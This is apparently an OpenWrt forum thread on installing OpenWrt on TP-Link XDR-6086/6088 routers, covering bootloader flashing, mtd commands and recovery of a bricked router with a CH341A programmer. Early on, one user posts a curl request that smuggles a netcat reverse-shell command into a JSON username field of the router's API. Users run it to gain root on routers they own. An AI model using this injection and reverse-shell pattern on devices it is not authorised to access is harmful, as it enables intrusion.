Adding support for TP-Link XDR-6086

Nope, I listened to port 4444 and used your code but wsl gave “error code 400xxx”

When I changed to code of the blog you mentioned, everything worked fine
So would you kindle check whether the is some problem with code tag , maybe some minor error when copy/paste and posting?

nope, other users report fine.
and my code is the same as nanpuyue. the only difference is ip:port.
so it's not my problem.

curl [](${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"","ippool":"ippool","dns":"","netmode":"client2lan","maxsessions":"10","remotesubnet":"","block":"0"}},"method":"add"}'

your first line is a wrong command. there should not be []() in the command...

Thank you mate, now since you pointed it out I think it was the problem with google translate, insert every http link with it translate URL

But I copied the code from you blog, not from right forum...strange...

Hi Daniel , I would like to try it on xdr 6050 , do I need to modify anything ? For the MT7531AE switch IC driver, I see that openwrt has added support for it!
Do I need to remove the driver for the 2500Base-T ports from the xdr 6086 firmware file?

@David3 You will need to add/edit a new device tree (dts) file for this board which defines the MT7531 switch (ie. no other PHYs) and wire up LEDs and buttons correctly.

1 Like

CH341A and the cable arrived from AliExpress. I was unable to recover my router by flashing only bl31.bin because, probably, I flashed preloader.bin and bl31.bin to wrong offset when I bricked my device.

Luckily I had done a full NAND backup before I made that mistake!

So, using CH341A I erased the NAND and flashed the backup and the router was back to original firmware. From that point I started the process from scratch and sucesfully installed Openwrt!

XDR6086 is up and running as a dumb AP on my living room. Thanks a lot for the support!


Hello everyone! After the commands according to the new instructions for XDR-6088:

md5sum /tmp/preloader.bin
mtd erase bl2
mtd write /tmp/preloader.bin bl2
mtd verify /tmp/preloader.bin bl2

md5sum /tmp/bl31-uboot.fip
mtd erase fip
mtd write /tmp/bl31-uboot.fip fip
mtd verify /tmp/bl31-uboot.fip fip

and power supply interruptions, the router does not boot into uboot...(((

This is the backup I have:

root@OpenWrt:~# cat /proc/mtd
dev: size erasesize name
mtd0: 00100000 00020000 "bl2"
mtd1: 00060000 00020000 "config"
mtd2: 000a0000 00020000 "factory"
mtd3: 00180000 00020000 "reserved"
mtd4: 00180000 00020000 "fip"
mtd5: 07300000 00020000 "ubi"

Can you tell me the correct addresses for recording a backup from Openwrt onto a flash drive (only this backup remains)?

Excuse me, could you please tell me how to upgrade the U-Boot if I have already flashed an older version of U-Boot and OpenWrt?

After executing "insmod mtd-rw i_want_a_brick=1" command
The command line will be disconnected and the router system will not be accessible
I need to restart the power to access the router system
However, the MTD partition is not unlocked

After searching, I found that the bl2 partition can be unlocked using self-compiled firmware
After trying, I successfully flashed back to the original system.

Related tutorial links:

I found the way to update the uboot:

insmod /lib/modules/$(uname -r)/mtd-rw.ko i_want_a_brick=1
mtd write openwrt-mediatek-filogic-tplink_tl-xdr6088-preloader.bin bl2
mtd write openwrt-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip fip
1 Like

mtd verify openwrt-mediatek-filogic-tplink_tl-xdr6088-preloader.bin bl2
mtd verify openwrt-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip fip